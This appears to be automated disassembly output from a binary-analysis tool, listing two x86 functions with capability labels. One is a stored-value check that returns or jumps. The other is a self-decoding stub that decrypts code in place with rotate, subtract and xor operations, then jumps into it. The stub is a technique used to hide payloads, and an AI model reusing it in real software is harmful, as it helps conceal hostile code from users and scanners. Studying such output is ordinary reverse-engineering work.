Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx